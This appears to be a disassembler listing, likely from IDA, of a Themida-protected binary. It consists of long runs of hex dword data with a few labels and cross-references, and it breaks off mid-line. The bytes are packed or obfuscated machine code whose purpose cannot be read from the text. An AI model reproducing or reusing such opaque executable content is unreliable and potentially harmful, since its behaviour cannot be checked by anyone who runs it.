0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h dd 0DBC6804h, 0C890000h, 0E7895724h, 4C781h, 0EF810000h dd 4, 5C243C87h, 50240C89h, 405E089h, 83000000h, 48704E8h dd 2C895C24h, 3685624h, 5E4FCA7Ah, 0ECA6C681h, 0F189B64Fh dd 8124348Bh, 4C4h, 4EC8100h, 89000000h, 4832424h, 535D0424h dd 0BA52CB89h, 8, 1A89EA01h, 34FF5B5Ah, 0C4815D24h, 4 dd 592434FFh, 0E904C483h, 0FFFBD3F4h, 746EB886h, 0C503061Ah dd 5727E0FFh, 0C6880A7Ch, 66B73FCDh, 0AA547441h, 0A6134B20h dd 33A1127Fh, 354951A9h, 97D71B0h, 0F16166D7h, 16AA5DBAh dd 0BF4806DDh, 190835E3h, 4E1F750Bh, 0D8EE091Bh, 98DB2256h dd 6EC73C2h, 0C5B86336h, 0B6D71A88h, 9D8D1372h, 6150581h dd 0CEB8h, 0FD858900h, 0E8061500h, 0 dd 0D0558h, 3890000h, 0CEE9h db 0 byte_5D0F8D db 2 dup(0), 0F2h ; DATA XREF: Themida_:00579FB0o dd 32h dup(0F2000076h), 0E8FFFF76h, 0Ah, 37136261h, 0DF7B52A8h dd 5DB946E1h, 5870FC94h, 8E8h, 0ED3B2000h, 1F745EF6h, 5E33B5BAh dd 6FFAC081h, 68F50000h, 0 dd 665F5FB5h, 8B4AE3B9h, 0F3813814h, 35A509A8h, 31C9F281h dd 880F7A74h, 4, 55C7BB66h, 0AE5AEA81h, 81F84C90h, 0AF090EEAh dd 0E8F0F64h, 0E9000000h, 9, 0F2BEB361h, 0D1E09FA3h, 14E9524Bh dd 9F000000h, 22435AFCh, 4C3A30C6h, 0CD1320CBh, 5848DA32h dd 8FD8B71Ch, 0E7803804h, 6A96BB45h, 0EF810811h, 770BEBFBh dd 0EBF7C781h, 0F98A770Bh, 90B4FF81h, 850FFFFFh, 0FFFFFF87h dd 527ADE81h, 8D8D2503h, 61A77D5h, 0AD9858Bh, 8D890615h dd 6152721h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 90C35141h, 4F942D0h, 8D89FC2Ch, 61506E1h, 4CD85C7h dd 61F00615h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0B6F159C3h, 0E80D83A3h, 8, 7C4C45E0h dd 77032C06h, 12E8h, 9AD01800h, 0BEE86BD7h, 68354A59h dd 0B6CCED09h, 0FC76190h, 86h, 0C75A5F00h, 15111585h, 6 dd 35BD8B00h, 0FF061530h, 152E0DB5h, 9EE88006h, 2C995FFh dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 2E1046C3h, 5299B9B8h, 14F19589h, 0E95F0615h dd 0Dh, 63621142h, 66E304F6h, 201A48BCh, 0FF006A48h, 152E2195h dword_5D1204 dd 0EBC08B06h, 76DD797Ch, 2C08FF38h, 96E20D3Dh, 0ACBC2AA2h ; DATA XREF: Themida_:0057A110o dd 4E436640h, 0CE6E66B5h, 59BA19A9h, 2872CA8Eh, 5ACF78F5h dd 8A042F94h, 0A3374469h, 0F87342D2h, 0CE6FEF9Fh, 56A81B18h dd 6F2DE421h, 2EF3C1Ch, 129E9C7h, 0A1FAA901h, 0B4BFFCF2h dd 32E42026h, 0C85E22ABh, 0EF03E40Fh, 0D6706143h, 11369C88h dd 6189128Eh, 3586397Eh, 30D574DCh, 4AD8DD13h, 1D1C5E4Eh dd 0ECCB7831h, 0C17CFDC8h, 0B0E950h, 66600000h, 0C2F6DA8Ch dd 0C850F04h, 3B000000h, 15168585h, 36840F06h, 3B000000h dd 15078985h, 2A840F06h, 3B000000h, 15178985h, 1E840F06h dd 3B000000h, 15101585h, 12840F06h, 83000000h, 152CEDBDh dd 840F0106h, 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh dd 49840FC9h, 81000000h, 0F8C2h, 0C728B00h, 598BC803h dd 14518B1Ch, 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h dd 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h dd 154F9E9Dh, 5B806h, 0E3FF0000h, 0D00BC361h, 79C88D8Dh dd 6A061Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0DCA871C3h, 2B255D79h, 8E9B9h, 95CA0000h dd 243FCA0Dh, 23517629h, 150E059Dh, 8D895F06h, 6152721h dd 6919D89h, 85C70615h, 61504CDh, 6070h, 45BD3357h, 5806152Ah dd 111585C7h, 615h, 0F8530000h, 89BD8B5Eh, 0FF061518h dd 1502B5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 11E97C0Eh, 82000000h, 32B41BB4h dd 4A79635Bh, 562FB6D5h, 0C2303E6Eh, 2C995FFh, 0C6810615h dd 1B7EE085h, 95FF006Ah, 6152E21h, 2FEBC08Bh, 81CA6770h dd 2A1D376Eh, 50657ADh, 80FF808Ah, 444681Ah, 0F046B389h dd 0DE5B5F7h, 0FB29B31Ah, 9D2C6832h, 19ADCCD2h, 0B21E706h dd 0EB4C7B69h, 60h, 17h dup(0) dd 0B71E900h, 65E90000h, 6800000Bh, 61A8272h, 0FB03E1E9h dd 83CD68FFh, 0D7E9061Ah, 68FFFB03h, 61A8441h, 0FB03CDE9h dd 0DC4CAAFFh, 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h dd 0A41F8C0Bh, 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h dd 8896BB8Ah, 9455169Ch, 0E0624FA8h, 16999A70h, 0F370A6h dd 0B9660F7Fh, 0EAF4CA3Ah, 86F2365Bh, 6E4B510h, 0E4114608h dd 0C69787C3h, 4DAF5C0Eh, 55B001DDh, 2DCB1E5h, 86281E43h dd 1ECCDD10h, 0C7C03F0h, 2999190Ah, 361FEDh, 8B29A1E5h dd 8DED1ECCh, 0A808191Dh, 88E5FE38h, 0A4051E18h, 0E92D9D18h dd 6DFB3B14h, 97C599C9h, 86C0E52Ch, 149B8810h, 0B29D72A4h dd 98BF86D8h, 5F16A15Eh, 715ECE32h, 7F15686Dh, 90A71794h dd 3C2EED97h, 0C838B9FAh, 88B87D2Dh, 6EFA7DB6h, 0A4999D0Dh dd 0DA9CAC8Bh, 0AD9C1631h, 776577BDh, 9CDB85CCh, 0B3576816h dd 9CDBCD08h, 979FB016h, 0A5B9298Ah, 0CBBF2F8Ch, 0C7247CC0h dd 65276557h, 464F04Ch, 6BCFBB94h, 0E0DC0CABh, 8398864Fh dd 0D9D24A19h, 0A6D66231h, 68A82673h, 3DB9h, 0CABCD00h dd 864FE0DCh, 0BAD8ECD9h, 0FD3F2BFFh, 860C0346h, 0E3D9EA10h dd 0C5246B4Fh, 6D4ABA39h, 3319348Ah, 9F9DB249h, 73E3624Fh dd 4F60CC97h, 28F08986h, 0B65413F1h, 2B06h, 0CAB2200h dd 54B102DCh, 2DDDB2E4h, 0ADF44F05h, 0DE1086F2h, 6B4FCBF1h dd 3FDC864Fh, 9CB92DDh, 0E151B061h, 0E353D4DDh, 72561307h dd 3DB0BABh, 9C1BA040h, 2A6C3D16h, 93DB82CBh, 19C46B16h dd 0E858D8D9h, 0C434B5AEh, 0D848A8EBh, 8A09E1DEh, 9DBD431Fh dd 20BA5h, 0AAB8100h, 0FF56FEE2h, 2B04199Dh, 5461B013h dd 0B1C1086h, 0D8C22233h, 952B0E6Bh, 0C61567C2h, 3E2C50F5h dd 53C90ED0h, 3A607AA7h, 83F35241h, 61C92AE7h, 22870C00h dd 8D5BA5B2h, 3618FDD2h, 40749D28h, 2EF71086h, 49F4AA55h dd 9F4B6467h, 0E3624F7Bh, 0CE2E4373h, 4867585Eh, 0A21271A2h dd 0E3624F7Ah, 3660D057h, 4F407659h, 0AB89719Bh, 0D502DC0Ch dd 0E311C1F2h, 34E88269h, 86FC486h, 96A19E98h, 35AEE20Fh dd 36DE8C42h, 0A82673A6h, 57B968h, 0ABCD0000h, 4FE0DC0Ch dd 9971E162h, 0F2D900C3h, 0A2A41086h, 86F2FE23h, 83AC7D10h dd 0B7864F99h, 1E6EF6B6h, 38827047h, 0AE0F172Bh, 24427ABCh dd 4CBC39C5h, 624F3963h, 0CB9A70E0h, 0E0624F5Dh, 0CD2D4670h dd 4B64595Dh, 48039Fh, 23390000h, 86F279A0h, 57330410h dd 0DC0CABE3h, 0ADF44FE0h, 0DE1086F2h, 68CB57D5h, 0EEDFD7F8h dd 0DED848A5h, 0C3F0CEE1h, 0F3E4D242h, 0E560D379h, 0E42F00E8h dd 0C9711989h, 0C5246B4Fh, 0F0538955h, 1086F2A9h, 73A74354h dd 0AAB7256h, 6C4104DAh, 0EF1086F2h, 0A6D700DEh, 18BC4583h dd 331913F7h, 0D7779A29h, 25F61086h, 0F767C445h, 0C7241A1Eh dd 0F2BADF66h, 70411086h, 43275D5Fh, 0E0DC0CABh, 73A6A286h dd 0D368A826h, 0C28EFB02h, 4525DC8Ch, 46D5h, 0CABB100h dd 8D4FE0DCh, 6056C624h, 0F9207B6Fh, 221086F2h, 0F73FAF11h dd 63346406h, 246B4F39h, 4C8955C5h, 0F4BAB12Bh, 0D53D2D88h dd 5FB57256h, 0F3000000h, 6DC768E2h, 19BA9D0Dh, 13AF88C4h dd 9892B297h, 0ABE35733h, 0DC02DC0Ch, 86F22069h, 10FACB10h dd 0E0624F2Ch, 0F29DC47Fh, 4F601086h, 11B48A60h, 1086F2C8h dd 81C87B41h, 6C1086F3h, 19BB9263h, 93BC8E29h, 6B4F80BCh dd 6755C524h, 66C39456h, 267FC5FFh, 0EB1EA1B6h, 0F20949Dh dd 0CFB5B75Bh, 0D1000000h, 4DA0AABh, 86F21041h, 0DCDAEB10h dd 400364C7h, 1086F219h, 0E2FCD3E4h, 5EE36FD1h, 0F8D7A8EEh dd 476058DFh, 0FBEF31B8h, 0C724CC70h, 65276557h, 377CEC4Ch dd 7D5244B4h, 0CABA58Dh, 0F23158EBh, 0C92F1086h, 0F9D6E759h dd 0DF624FC3h, 4CF07B6Fh, 93B68D4Fh, 5A1086F2h, 77E74A49h dd 26C51893h, 4B2B68A8h, 0FF000000h, 93B68D4Fh, 5A1086F2h dd 77E74A49h, 0F69C4E3Fh, 54701B43h, 7E3427F7h, 0F44F6B51h dd 1086F2ADh, 4F3D7F50h, 64C5246Bh, 0F286CB7Ah, 54651086h dd 86F2A8F1h, 6D425310h, 4F72562Fh, 95C81486h, 54361C9Fh dd 1D68h, 0CAB4400h, 0C5DD20E4h, 17381EFDh, 0ADF44F25h dd 0DE1086F2h, 6B4FCBF1h, 6755C524h, 0C7247256h, 0F2525F57h dd 0BF3CF382h, 0E844D033h, 6E5F5778h, 21F08A49h, 52A518Bh dd 87E64B11h, 3487317h, 6F10869Eh, 0FADB17C6h, 4C9D4F0Ch dd 0F633D7A1h, 68B11475h, 131086FEh, 0DB482D02h, 0FD6DCC58h dd 0BA5DE4D2h, 0C3278C4Eh, 806A6353h, 0A221A619h, 0BAF76332h dd 0F3CCCA3Ah, 0ADDDA117h, 17563291h, 0D6E7169Ch, 0C43865E0h dd 4AC51693h, 5083E663h, 20099DBDh, 1D000000h, 8757C724h dd 0B456C62Ah, 0F2D6FB7Ah, 6B1A1086h, 90008344h, 0BB7C5905h dd 8ABAEA6Ch, 24BB5F0Bh, 7D5F57C7h, 0F352B334h, 1086F2AEh dd 63537C4Dh, 661A806Ah, 0CA9D2836h, 4916A16Ch, 0CD786678h dd 169C8884h, 0BD885667h, 169C8894h, 0C9A44657h, 6ED11DE1h dd 0E8C7B8FEh, 61936FD6h, 192A1086h, 5177961Dh, 99001CA9h dd 0BD962326h, 211EA3D7h, 0FA000000h, 3ABE0AABh, 0DCF3CCCAh dd 0F26E4302h, 268B1086h, 5B951C1h, 0AC092A34h, 125B593Ch dd 2F000000h, 4DA0AABh, 86F26C41h, 0DEEF10h, 13E252B3h dd 0B68D4F25h, 1086F293h, 1A1495Ah, 193h, 0E010AB15h, 0DF624FBCh dd 0B456276Fh, 0C724727Ah, 654ABA3Bh, 6BDB5859h, 84B8522Bh dd 71E1624Fh, 0D3A24845h, 2673A665h, 37B968A8h, 0CD000000h dd 93B68D4Fh, 5A1086F2h, 4CF7A149h, 0F271982Bh, 2BFC1086h dd 0F44F1804h, 1086F2ADh, 4F3D7F50h, 59C9246Bh, 34864F63h dd 529575F8h, 1D0B5A30h, 2CB5h, 624FD100h, 2E4373E3h, 625B5BCBh dd 48F39D4Dh, 0AD184618h, 1086F264h, 0E0543607h, 0F2ADF44Fh dd 0F1DE1086h, 246B4FCBh, 566359C9h, 57C72472h, 0AB432765h dd 4FE0DC0Ch, 0F293B68Dh, 495A1086h, 0A666D2A1h, 68A82673h dd 42B9h, 624FCD00h, 167C6EDEh, 4F093363h, 86F2ADF4h, 3D7F5010h dd 0BF488D4Fh, 24F44E84h, 33A3060Dh, 624FE357h, 0F23975DDh dd 250BB89Ch, 57330C0Ah, 0B5E757DAh, 624F7256h, 56276FDFh dd 6F08B4h, 0AB240000h, 0D502DC0Ch, 0EEF9A8DAh, 0A9199910h dd 0BC2C8D86h, 2DE5857Ah, 0F44F8D4Fh, 1086F2ADh, 308B7F50h dd 1086F2E9h, 0EE6C1522h, 0ED65560Fh, 8EDBFCC2h, 0E9691DB5h dd 0F83BB5FCh, 4B64FC41h, 6B4F7B9Fh, 93B68D4Fh, 5A1086F2h dd 9F0B6E49h, 2405BD9Ah, 0F464C546h, 869C9EAh, 86CD143Dh dd 0E9C6D710h, 0F007D0ADh, 0D083AF97h, 56CC701Ah, 67C82472h dd 86F2B5DCh, 48673810h, 4BBB3D76h, 0CE0E759Fh, 961086F2h dd 0A90BBC23h, 42B9B1Dh, 54EFED71h, 1086F20Dh, 6DBB4E87h dd 0A00099A5h, 2437DB8Fh, 455E58C8h, 756777E7h, 0F550C03Ch dd 1086F2ACh, 72E2624Fh, 0C87FAD5Dh, 4A14DED1h, 86F2567Bh dd 0B0131510h, 1086F269h, 3E2C0314h, 370E6FCDh, 1086F212h dd 0EE7C8D9h, 86FC2BB3h, 0CC5CD910h, 5697A827h, 0FFFFFE25h dd 0F297B632h, 0B25B1086h, 0CF1086F2h, 430263E2h, 1086F21Eh dd 7E3CCDDh, 86F2769Ch, 0F2D1FC10h, 74991086h, 0FC1086F2h dd 0D086F2D1h, 199EEA8Eh, 0BF906DA9h, 0E6CC249Fh, 0EDEFD69Eh dd 91063356h, 6ECDBAD6h, 8539D1FEh, 48F882B4h dd 477F4618h, 16D08BF7h, 9D2D7805h, 82EF1BDh, 2B4ACh, 0A8189600h dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 70D2F7CEh dd 0D899169Ch, 3BC72464h, 13F74DB5h, 369F9F16h, 36283619h dd 86524A8Fh, 8A603110h, 2A5A1E8Ch, 0CCDAB114h, 506116A1h dd 57C7258Eh, 6176D8B3h, 0F6CD06Dh, 91A6979Fh, 9872FCD3h dd 9DFBE02Dh, 0B4102116h, 0B98C5244h, 169DFB90h, 85654A5Bh dd 233B6B0Bh, 979F839h, 7D03300Dh, 1D3E5D0Dh, 0DC10BA65h dd 3DBEF3CBh, 78FB28CDh, 0E6134710h, 0E5CAAFD3h, 5C0352B1h dd 4CEC1CB3h, 0E483421Ch, 731A94C2h, 14979CA2h, 248DD1A4h dd 44B437C3h, 31927F6Bh, 0DA2C75D0h, 0FECF02D6h, 0A353E5D1h dd 0FD86B73h, 8E04F144h, 4FEF79BDh, 381D3F1Fh, 9823E2Bh dd 86BA812h, 8CD3F298h, 6B0ECBF3h, 6E49B93Eh, 34FC59ADh dd 805E7103h, 0D46FD033h, 0E037E8Dh, 6FFC3007h, 9B7AEE0h dd 0B17E1738h, 51B4E252h, 0E02E20Ch, 0D9E515E9h, 2764956Ah dd 13031408h, 8C421349h, 0A7562D0Ah, 661138EDh, 0EC4F3426h dd 0DB453A7Ch, 0D8DE4EAEh, 7822C8E7h, 6DC698C8h, 0A39C9A0Ah dd 12CE75C7h, 0EB323B6Fh, 0E6C939BEh, 3503CA17h, 239F9593h dd 159h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h dd 9C71557Ch, 0E5571816h, 3DB0BABh, 0F2276AD9h, 0F5C61086h dd 0EF843F15h, 6E16A16Ch, 6273595Dh, 40587251h, 91576DD6h dd 0A82496Eh, 0EF1E1621h, 500AC9BFh, 104000BAh, 0C89B774Eh dd 0D1E21081h, 0BB5CF54Ch, 0EC486EB1h, 0E5h, 0FC990965h dd 0C352C227h, 0D4A1116Ch, 8C69D95Fh, 0D2A31397h, 57DBD6D5h dd 9E210EE7h, 5CD8472Eh, 991A09ECh, 537B4C29h, 9C76A9F0h dd 0A9935416h, 3DB0BABh, 0A16CA340h, 2D693A16h, 0AE47B734h dd 0A4920281h, 2C326216h, 10800132h, 62412926h, 10BB1639h dd 210EE7B8h, 0F96530A0h, 0FC6CCEE3h, 0B2060049h, 6ADA5E1Ch dd 0DCED532Ch, 1080FD2Eh, 0DA4AAE85h, 1686E43Bh, 4201DB7Fh dd 1CB2061Fh, 0E454B1DEh, 90F21FCBh, 97151E20h, 6C1EEF27h dd 3DAD1221h, 0F969CB58h, 34A4071Ch, 56DD261h, 4D1DE19Eh dd 1EF7D8DEh, 0A6B8E898h, 0FA1FA6B8h, 811CB215h, 0A0EBDAB0h dd 3F1A958Bh, 0B83B286Eh, 0B4A1AD48h, 0E3D95B74h, 893C0282h dd 2C9F940h, 54701A2Bh, 0Dh, 6F6D2F68h, 86F28DD4h, 0AB5F7010h dd 5ACA2487h, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 8953783Ch dd 4C381E3h, 83000000h, 1C8704EBh, 24248B24h, 4EC81h, 34890000h dd 419C6824h, 0C890000h, 27B95124h, 814BA928h, 1115D4F1h dd 59CE8955h, 0EE81DEF7h, 0DB2D4787h, 4EC81h, 24890000h dd 24048324h, 0BB535904h, 8, 5158C381h, 0CB0149FAh, 5158EB81h dd 338949FAh, 240C8B5Bh, 81E78957h, 4C7h, 4C78100h, 87000000h dd 0FF5C243Ch, 835E2434h, 87E904C4h, 0DFFFAF8h, 1A854BB8h dd 8BC50306h, 0DE8C3h, 0A0BF0000h, 5B0AE789h, 0B9B18D1Bh dd 0E975F730h, 10h, 0A7176C52h, 2989EA13h, 0B6C4E8E1h dd 0B11571B8h, 0A1E7815Bh, 810204ABh, 5BFCC3h, 78BAF500h dd 81036588h, 659E98F2h, 0F0816603h, 0B8BD9BEh, 3331C181h dd 0EABF0AFAh, 81769B18h, 40EAC6E9h, 0C181F903h, 64C74E85h dd 7E9h, 27579400h, 953C0222h, 0EB830B89h, 5880F02h, 66000000h dd 6A0DD881h, 4AF94B4Bh, 0FFC0850Fh, 73E9FFFFh, 6A000002h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0FCC8C350h, 13E9D72Dh, 8D000000h, 0FA475B96h dd 739E56DFh, 0B22F5274h, 98926EA2h, 0B58DE201h, 61A8767h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 20C35343h dd 606B6D99h, 68A0Fh, 0E1810000h, 229DEA2Ah, 0BE9h, 0FDEB500h dd 739F6C9Ah, 0DFC88E27h, 0B8666061h, 0BE8865Fh, 79000000h dd 434C3257h, 0E60D79ACh, 616068E4h, 858D6158h, 6184559h dd 98E0Fh, 8B600000h, 0F52FBAD3h, 0FF610CCEh, 810F60D0h dd 11h, 0CE9h, 873EAF00h, 807C064Ch, 1B53BFF1h, 5890F05h dd 66000000h, 4865F181h, 12E86061h, 0B8000000h, 0EBF114DEh dd 0AA096F40h, 222BB820h, 36B51EDEh, 505EFC38h, 615A2CB6h dd 138A0FC3h, 0F000000h, 0D86h, 8E900h, 1C570000h, 5AF4EAC4h dd 8C6686CBh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 800F601Dh, 6, 0A173F781h, 7E96559h dd 0D9000000h, 99EBB860h, 0F66177D6h, 840F04C1h, 67h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ADC35545h, 0A92F2F05h dd 0B55F0D68h, 6E9h, 9F4B7800h, 8B0B5218h, 32CB8BFBh, 0FD75AEC0h dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h dd 8B09EB00h, 0B8E4EB00h, 0 dd 51006ACFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 1E986956h, 606F0B8Fh, 38B0Fh, 8B660000h dd 8B0F53DFh, 0 dd 820F615Eh, 1, 6E860FCh, 9D000000h, 4C2DDBF5h, 11E924h dd 34F50000h, 81BF2F55h, 6B32A409h, 48674E85h, 5A83865Fh dd 1DDE8160h, 0F4D947Eh, 85h, 6A616100h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0ECA6C350h dd 1F61F8D5h, 0F416981h, 1D86h, 17810F00h, 0E9000000h dd 12h, 6D9072C2h, 282E00FCh, 21CDD0A1h, 8A5DBC71h, 0F60BBC8h dd 8Bh, 85C76100h, 61A87F0h, 1013Fh, 899A8D8Dh, 6660061Ah dd 8033DE81h, 6850Fh, 95290000h, 6150269h, 218D8961h, 6A061527h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 1C6EC353h, 75BD890Dh, 0C7061510h, 1504CD85h dd 640C06h, 0EE800h, 0CA140000h, 0E17A7E30h, 1A1279DBh dd 955FADE2h, 10E9h, 0C3587500h, 0CF70F089h, 5B9550E2h dd 8FE8A2DCh, 85C75E35h, 6151115h, 0 dd 0AE9h, 8AED8700h, 0AC8D2CF8h, 0FFEAC323h, 152339B5h dd 0C5858B06h, 60061503h, 60F88B66h, 61615F57h, 2C995FFh dd 8D0F0615h, 6, 16759D8Bh, 6A0615h, 2E2195FFh, 0C08B0615h dd 7DA72BEBh, 0A9DBB13Fh, 9635604Ch, 492A51D3h, 0C8D6B0F0h dd 7D3814B7h, 42E0DA5Ah, 0ABFC9EE9h, 0DE83084h, 9DE983DFh dd 5794420Dh, 0BE827h, 31120000h, 0FDB8E2E7h, 0ED6B9AECh dd 0F2BF0F26h, 0C820F5Ah, 60000000h, 6C9B58Bh, 0B8660615h dd 816100E1h, 6051C2h, 0F9BF0F00h, 858BDB2Bh, 6151799h dd 291A0C8Bh, 150DF9B5h, 0F8C18106h, 237A0960h, 150441BDh dd 61E98106h, 0F04FC40h, 0E981C1BFh, 3530A31Fh, 6C2FB866h dd 800F51h, 8F000000h, 9D011A04h, 6151A11h, 2451B58Bh dd 0EB830615h, 0F4E48004h, 0A060FB81h, 850FFFFFh, 14h dd 2EE9h, 0B7D82000h, 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h dd 1DF19D31h, 91E90615h, 47FFFFFFh, 5D4EF3Eh, 6E163460h dd 730EFEFEh, 2BCB7564h, 0E945A1B7h, 13Ch, 4Fh dup(0) dd 2169BD83h, 0F010615h, 51884h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 69426043h dd 9B79F2CCh, 0C585C609h, 43061509h, 5E960h, 0F7230000h dd 669643EEh, 617BFDBAh, 4E8h, 0A5D0F500h, 7E9ECh, 57B20000h dd 0A5EE4105h, 525050A0h, 6E9h, 445FD600h, 0FDD025Dh, 0BF666031h dd 5A61E848h, 24448B58h, 60525004h, 8B666160h, 310F61D8h dd 11890Fh, 0CE90000h, 0B9000000h, 0BF82E93Eh, 0B665E7FAh dd 5A508EBFh, 0E9008B58h, 11h, 3613D3D8h, 99DC483Eh, 9FD76E61h dd 0C8933734h, 2444892Ah, 0EE904h, 92500000h, 3FEA119Ah dd 7118D484h, 0FC345675h, 0E3B36058h, 6161F960h, 2811B5FFh dd 850F0615h, 7, 66595060h, 8D61C38Bh, 1872BC85h, 0D0FFF506h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 98C35343h dd 391F49C3h, 3DE5A535h, 558589F9h, 0F061524h, 1585h, 10E900h dd 3CB80000h, 7DA6EDEBh, 0F99C8168h, 263002CEh, 85C642D4h dd 61509C5h, 1B810F50h, 60000000h, 13E9h, 93C07D00h, 3584CEA3h dd 4BD64502h, 2BFB300Dh, 8B8D2507h, 0B16861F9h, 50A4C548h dd 0F525052h, 8Ch, 0F310F00h, 87h, 0F585A00h, 0E9525031h dd 13h, 23B21610h, 0CFC68B29h, 944CFD58h, 243CA389h, 0F342E54h dd 0BE931h, 840B0000h, 0EB544F90h, 79C97265h, 5A585AC0h dd 24348158h, 0C68E5E7h, 11B5FFF9h, 60061528h, 12E8h, 88F07100h dd 0A81C9B66h, 481C3B41h, 82257AFAh, 0E8B26FA3h, 11h, 0A19DF547h dd 0F49B7EB3h, 50146F55h, 9B735357h, 0F95959ABh, 11E961h dd 0EAC60000h, 5984722Eh, 85F4CBE0h, 3BFFA1B1h, 8D4984E2h dd 1872BC85h, 16860F06h, 0E9000000h, 11h, 6D150533h, 0F976DC6Fh dd 3DFD3B10h, 89AFB894h, 0F8D0FF24h, 108C0Fh, 0BE90000h dd 34000000h, 0A12492Ch, 0DABD0998h, 858911C9h, 6151DF9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 1FC35747h dd 89BD5E51h, 0E9D5FB3Ah, 13h, 0A310B152h, 0E6733075h dd 18FCA532h, 7A083D09h, 0E9C9114Bh, 10h, 0DF6BA74h, 244BE2Dh dd 0C002AFEh, 0ABD26286h, 0C741D168h, 0EE99Eh, 50D70000h dd 0A0C4430h, 856C6872h, 0C71B45F9h, 0FE243481h, 606E48E9h dd 14E9h, 2A8E7900h, 1B91EBF0h, 0DAD0D8B3h, 0ABE8EEh, 133577C7h dd 87B866B0h, 0B5FF6156h, 6152811h, 0DE8B60F8h, 14E9h dd 0E94FDB00h, 3F9A28E1h, 20F059F4h, 2398544Eh, 0E9D5DFCFh dd 858D616Fh, 61872BCh, 60D0FFFCh, 91EFDA81h, 0E9524BD4h dd 0Ch, 24A44B3Fh, 0B49F573Ch, 0AA1E2C6h, 8589615Eh, 6150E0Dh dd 0C585C6F8h, 50061509h, 10E9h, 836BB000h, 0B6A87B15h dd 9813DD84h, 4353E798h, 0BD4E6865h, 0CE92604h, 2E000000h dd 13C97CC5h, 1BBA73C4h, 81073B02h, 1F082404h, 0F607198h dd 0B70FCBB7h, 0BE961D6h, 98000000h, 0A1E100B5h, 0D855DF4Fh dd 0B5FFCB52h, 6151685h, 38858DF9h, 6006153Bh, 8E9C781h dd 61F82CEFh, 89F5D0FFh, 1505B585h, 92E9F506h, 60000001h dd 0F8C0BF0Fh, 0E9609561h, 7, 16280DD3h, 6638723Ah, 5061F98Bh dd 13E9h, 0A3C4900h, 7AC51402h, 5256ABE6h, 0CD5499C9h dd 0E67762DDh, 0DE995h, 88640000h, 23EB6A2Ah, 2266B130h dd 0F812ECBh, 180h, 0EC8BFC00h, 0F7816660h, 12E89D59h dd 0C8000000h, 55B9FCD4h, 0F7AA0652h, 9E39266Fh, 5756168Ch dd 0CB8B6609h, 0EE96159h, 0AC000000h, 1871456Fh, 5E1FB864h dd 109AEBA3h, 0FCC48352h, 0E8F860F5h, 0 dd 0E5EA815Ah, 0C7061A8Fh, 0FC45h, 0BA830000h, 6152169h dd 98840F01h, 52000000h, 0F6A006Ah, 245592FFh, 895A0615h dd 1A8A8982h, 8D9A8D06h, 52061A8Ah, 12803C7h, 50530000h dd 1DF992FFh, 525A0615h, 8A8D9A8Dh, 0FF53061Ah, 1A8A89B2h dd 0B592FF06h, 5A061505h, 5074C00Bh, 8A8D9A8Dh, 7B8D061Ah dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h dd 39348DEEh, 8D0C752Bh, 151A71BAh, 0C4D8B06h, 0C032A4F3h dd 75FF52AAh, 71828D08h, 5006151Ah, 0E0D92FFh, 0B5A0615h dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh dd 0E90008C2h, 11h, 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh dd 0E518A81Dh, 56006A32h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0AAADBh, 0FE92Ch, 2CE30000h dd 460BE84Eh, 9FAB5598h, 739390B8h, 0E8D28B5Bh, 13h, 0B9EE6D5Ah dd 14B63847h, 0E3717E69h, 4196037Dh, 0F1B6219h, 0F5AFABFh dd 589h, 0B70F6000h, 0C28161F6h, 5DBBh, 45F9DAB9h, 1740BE28h dd 0CE8B0000h, 8B0F32FFh, 4, 3A57B866h, 0EE95Bh, 9920000h dd 0F4286B97h, 0B2CBF600h, 0FF7040C6h, 192C381h, 0F525F84h dd 88h, 0EB815900h, 717347E8h, 6123EAB8h, 5FC3815Eh, 8B04EDAEh dd 0E81A89FAh, 0Ah, 0EB294377h, 9D2798D8h, 0F6BFD12Bh dd 594C2194h, 0E804EA83h, 14h, 5455B386h, 32C056F9h, 95894E0Fh dd 840D57CAh, 